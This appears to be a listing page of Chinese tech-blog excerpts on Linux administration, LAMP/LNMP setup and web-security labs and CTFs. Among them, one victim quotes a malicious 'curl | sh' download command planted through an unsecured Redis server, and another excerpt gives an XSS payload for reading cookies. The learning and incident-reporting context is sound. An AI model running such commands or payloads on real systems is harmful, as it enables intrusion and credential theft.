下一关的密码保存在符合几个条件的文件中，条件包含：文件大小为1033字节、不可执行、可读文件。
10.23 linux任务计划cron Linux任务计划 crontab -u、-e、-l、-r 格式：分 时 日 月 周 user command 文件/var/spool/cron/username 分范围0-59，时范围0-23，日范围1-31，月范围1-12，周1-7 可用格式1-5表示一个范围1到5 可用格式1,2,3表示1或者2或者3 可用格式*/2表示被2整除的数字，比如小时，那就是每隔2小时 要保证服务是启动状态 systemctl start crond.service crontab命
1.Linux服务管理 独立的服务:就是运行在内存里的服务，任何的客户端要访问这个服务
说明： 服务器上的图片、js、css等文件属于静态文件；数据库文件是动态文件。
wget https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.19-linux-glibc2.12-x86_64.tar.gz
这一关继续使用上一关的环境，在进入编辑模式之后，在 vi 编辑器中打开一个 shell
-多年互联网运维工作经验，曾负责过大规模集群架构自动化运维管理工作。 -擅长Web集群架构与自动化运维，曾负责国内某大型金融公司运维工作。 -devops项目经理兼DBA。 -开发过一套自动化运维平台（功能如下）： 1)整合了各个公有云API，自主创建云主机。 2)ELK自动化收集日志功能。 3)Saltstack自动化运维统一配置管理工具。 4)Git、Jenkins自动化代码上线及自动化测试平台。 5)堡垒机，连接Linux、Windows平台及日志审计。 6)SQL执行及审批流程。 7)慢查询日志分析web界面。
Linux系统服务管理-chkconfig chkconfig --list chkconfig --level 3 network off chkconfig --level 345 network off chkconfig --del network chkconfig --add network chkconfig工具 crond、iptables、firewalld、nginx、httpd、mysql等等，都属于服务。 chkconfig工具，在centos6和之前的版本中，控制服务的启动；但在c
MySQL目录概要 MySQL的几个常用安装包：rpm、源码、二进制免编译 cd /usr/local/src //切换到下载源码包的目录 wget http://mirrors.sohu.com/mysql/MySQL-5.6/mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz tar zxvf mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz //解压 mv mysql-5.6.35-linux-glibc2.
11.1 LAMP架构介绍 LAMP架构介绍 LAMP架构包含了 Linux+Apache(httpd)+MySQL+PHP ，简称LAMP Linux是操作系统，比如centos，Ubuntu都是linux操作系统 Apache提供web服务软件，其真正名字为 httpd，习惯称之为Apache MySQL存储软件，存的是数据、字符串，不是图片 PHP是脚本语言，和shell相似，但比shell复杂，PHP是由 C语言 开发的，通常用于做网站（主要）； 目前由于移动网络的影响，PHP现在不怎么受欢迎
XSS攻击的常见目标是盗取用户的cookie和其他敏感信息，这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御？
语法： crontab [options] Options： -e：=edit 编辑用户的计时器设置 -l：=list 列出用户的计时器设置 -r：=remove 删除用户的计时器设置 -u：=user 指定设定计时器的用户
最近在Windows服务器上部署nodejs后台程序时，想要将其设置为开机自启动，在Linux下很简单，使用pm2 startup命令即可。Windows下可以使用pm2相关命令制作对应的bat脚本，然后将脚本放到启动项中。
iptables备份数据到配置文件/etc/sysconfig/iptables，使用如下命令
我们知道对靶机的渗透可以提高自己对知识的掌握能力，这篇文章就对上传靶机upload-labs做一个全面的思路分析，一共21个关卡。让我们开始吧，之前也写过关于上传的专题，分别为浅谈文件上传漏洞(客户端JS检测绕过) 浅谈文件上传漏洞(其他方式绕过总结)
大家好，上周分享了《给任意java程序挂Socks5代理方法》、《盲猜包体对上传漏洞的艰难利用过程》两篇红队技术文章，反响还不错。本期分享一个有关Java反序列化漏洞的过waf案例。目标应用系统是Adobe ColdFusion动态web服务器，对应的漏洞编号是CVE-2017-3066，曾经利用这个反序列化漏洞多次拿过权限。靶标直接放在公网上，网站部署了waf，而且这个waf可以识别反序列化攻击数据包，我当时费时两三天的时间，绕过了层层防护，过了一个又一个关卡，最终成功getshell，过程是非常艰辛的。
近期在学习Linux提权，完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩，但在获得shell后的提权过程中，表现很出色。提权题目设计的逻辑严谨（不会出现突然的脑洞让你卡住），注重基础知识的考察，要求的知识面也很广，涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、Linux ACL访问控制权限等方面的知识，属于不可多得的精品之作，下面就开始这次靶场实战之旅。
成长平台 web 安全学习的第一关是关于搭建 PHP 的运行环境，这个任务的目标是为了让学员理解 PHP 的运行环境中各个组件之间的关系，通过实际的操作来理解，不允许使用一键化工具，比如 phpstudy 等平台，因为在搭建的过程中会遇到各种各样的问题，在一步一步解决问题的过程中，加深对技术背后原理的理解，从而提升学员基础能力。
LNMP架构和LAMP架构挺像的，只不过一个用的是Apache，一个用的是Nginx。LNMP就是Linux+Nginx+MySQL+PHP，Nginx和Apache一样都是web服务器。
各位好，我是KAAAsS。2022年的新年解谜红包也顺利的结束了～和往年一样，我也写了官方题解来解释解释今年的解谜红包。题目依旧在这里：https://redpacket.kaaass.net/。
test 就是第一步中编写的脚本名称，在/etc/ini.d目录下面。通过这条命令，就可以把该应用添加到开机启动了。
IronPython 1.0发布了 IronPython是Python编程语言在.NET平台上的实现。它支持一个可交互的控制台，该控制台支持完全的动态编译，并且可以让Python程序员访问所有的.NET库，同时还保持对Python语言完全的兼容性。 安装 IronPython 欢迎来到 IronPython世界, 让我们开始吧，将学习适合您的 Python 安装。 学习 IronPython的第一件事就是安装, 不是吗？ IronPython可以运行于Microsoft .NET Framework 2.0
Linux 已经逐渐成为了最受开发者欢迎的操作系统。本文将介绍四个极为实用的技巧，相信这将能够提高您在 Linux 下的工作效率和流畅性，也让工作变得更为舒适、优雅。
学习 SQL 注入有两套必刷题，一个是 sqli-labs，这个已经有了成套的 wp 讲解，在上面的网盘里。
Linux中的chkconfig命令用于检查，设置系统的各种服务。 谨记chkconfig不是立即自动禁止或激活一个服务，它只是简单的改变了符号连接。
natas一系列是国外的web安全游戏，可以真正的帮你练习web渗透，不单单是依靠工具，这次要写的就是一个sql盲注的脚本，下边附上第一关的网址
upload-labs是一个使用PHP语言编写的、专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场，旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含不同的上传方式。GitHub仓库为c0ny1/upload-labs/，推荐使用Windows系统，因为除了Pass-19必须在Linux系统中运行，其余Pass都可以在Windows系统中运行。可以参考GitHub页面上的说明进行安装。Docker的安装命令如下：
/home/radia/work/python/tkinter/one/two，并且想快速转到目录 python，只需键入：
备注：当此操作可以执行，弹出信息框，说明我们可以通过这种方式获取网页的cookie值了，只要将payload中的xss换成document.cookie就可以了：<script>alert(document.cookie)</script>
我也不清楚，为啥昨天的文章发了以后掉了3个粉丝，对于我这种18线（可能是180线）的小号主，掉一个粉丝我都很伤心，增加三个我都可以高兴一整天。如果有可能，下次取关前可以给我留一段言，让我知道是为什么？
强盗战争是针对绝对的初学者。它将教授需要能够玩其他战争游戏的基础知识，通过这个游戏能学习到很多 Linux 的基础知识。和大多数其他游戏一样，这个游戏按层次组织。你从0级开始尝试“击败”或“完成”它。完成一个关卡会产生关于如何开始下一关的信息。本网站上的“Level <X>”页面包含有关如何从上一级开始X级的信息。
最近需要演示自己的安卓开发作品，因此需要在自己的主力操作系统（Deepin）上实现安卓投屏，之后才好连接电脑在班级里演示。找寻一圈之后终于发现了开源的Linux端投屏神器Scrcpy. 因此在这里简单记录配置过程，方便后用。
Linux 操作系统对做开发的人来说，已经再熟悉不过了。它具备免费、可靠、安全、稳定、多平台等优势，早在 1991 年公布以来，就得到迅猛的发展。以至于现在我们用到的几乎所有的智能设备都有它的应用。比如手机、电脑、路由器、电视等等。而这一切的一切都离不开一个人的突出贡献，那就是它的创造者——被称为 Linux 之父的林纳斯·托瓦兹(Linus Torvalds)。今天我们就带大家来看看这个"脱袜子"，到底是何许人也？(不了解 Linux 发展史的童鞋，可以移步看我的另外一篇文章：《影响LINUX发展的四位天才黑客》)
由于本人主力 Linux 换为了 WSL 中的 Ubuntu 22.04，因此本次 LFI-Labs 靶场将直接部署于该环境下，为避免众多环境问题让时间成本剧增，将使用 Docker 直接部署原作者封装好的版本。话虽这么说，貌似 Docker + WSL 本身就是庞大的时间成本。正文中一些容器内无法实现的操作将转为使用 Windows 本地部署的备用环境，直接 phpstudy 倒是相当方便。
每个被chkconfig管理的服务需要在对应的init.d下的脚本加上两行或者更多行的注释。第一行告诉chkconfig缺省启动的运行级以及启动和停止的优先级。如果某服务缺省不在任何运行级启动，那么使用-代替运行级。第二行对服务进行描述，可以用\跨行注释。
当我们输入<script>alert('Eastmount') 时，并没有弹出窗体，运行结果如下图所示：
关于shell编程，说到底除了要掌握一些shell的编程套路外，本身对unix的命令掌握程度是关键，其中最常见的，要数sed，awk等文件操作，这些文件处理命令很丰富，网上内容很多，今天我详细说的是xargs这个看起来不怎么起眼的命令，甚至有些人不太明白它到底起作用。我的理解是我们用它可以像一个for循环似的，可以避免一些循环结构的使用，尤其是与命令的组合。 下面我们详细说明
本文为joshua317原创文章,转载请注明：转载自joshua317博客 https://www.joshua317.com/article/284
昨天晚上也就是今天凌晨233我漫无目的地刷着youtube，享受着科学上网带来的方便。突然直接按刷到了一个ASMR的视频，我听着感觉非常舒服，不会再胡思乱想了，很快就能进入入睡状态。遂决定带着耳机睡觉。平板便亮着屏幕放一边了。
此方法需要具备基础shell知识，且需要全手动编写，较为复杂，推荐有linux使用基础者使用，教程可移步b站大佬的专栏，极为详细。
开机启动应该是我们很经常的需求了，我们常需要在开机时就自动执行某些命令来开启服务，进程等，有了它我们不必再在每次开机时输入同一堆命令。
12.1 LNMP架构介绍 LNMP架构介绍目录概要 和LAMP不同的是，提供web服务的是Nginx 并且php是作为一个独立服务存在的，这个服务叫做php-fpm Nginx直接处理静态请求，动态
此系列为sql-labs第9关和第10关，两关差别不大，这一关使用sql时间盲注的方法，写脚本进行注入，前面的关卡没有用过时间盲注，所以这一关讲的比较详细，如果错误的地方还请大佬指正！
最近，《羊了个羊》刷爆朋友圈。众多玩家里，有人玩到凌晨熬红双眼，有人功亏一篑怒气值拉满，有人苦心钻研破解攻略，困难一层又一层，槽位只有7个，但谁都不想这么算了。
1.Linux下python3 的安装 1.1下载python3的源码包 # Linux下执行 # 版本可自主选定 # wget https://www.python.org/ftp/python/3.6.7/Python-3.6.7.tar.xz 1.2解压源码包到 /opt 目录下 1.3安装 python3 所需要的软件依赖，等待全部完成再执行下一步 # Linux下执行，直接复制，yum下载，注意空格 yum install gcc patch libffi-devel python-devel
按ctrl + u 查看源代码 可以看到有一个设置为白色的下一关的按钮，点击即可过关。
最近主机受到攻击，原因可能是redis集群没有设置密码（因为快过期了，不想搞得太复杂就没设），然后被人家搞事情了，就被人一把set了些执行脚本，形如curl -fsSL http://d.powerofwish.com/pm.sh | sh,真的是猥琐啊，我登上主机一看，简直是猥琐至极，不能忍了啊。
有的时候需要查找一些官网的例程进行学习和参考，但是总感觉无从下手，今天就教大家怎么利用官网和Vivado的Documention进行相关的操作。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
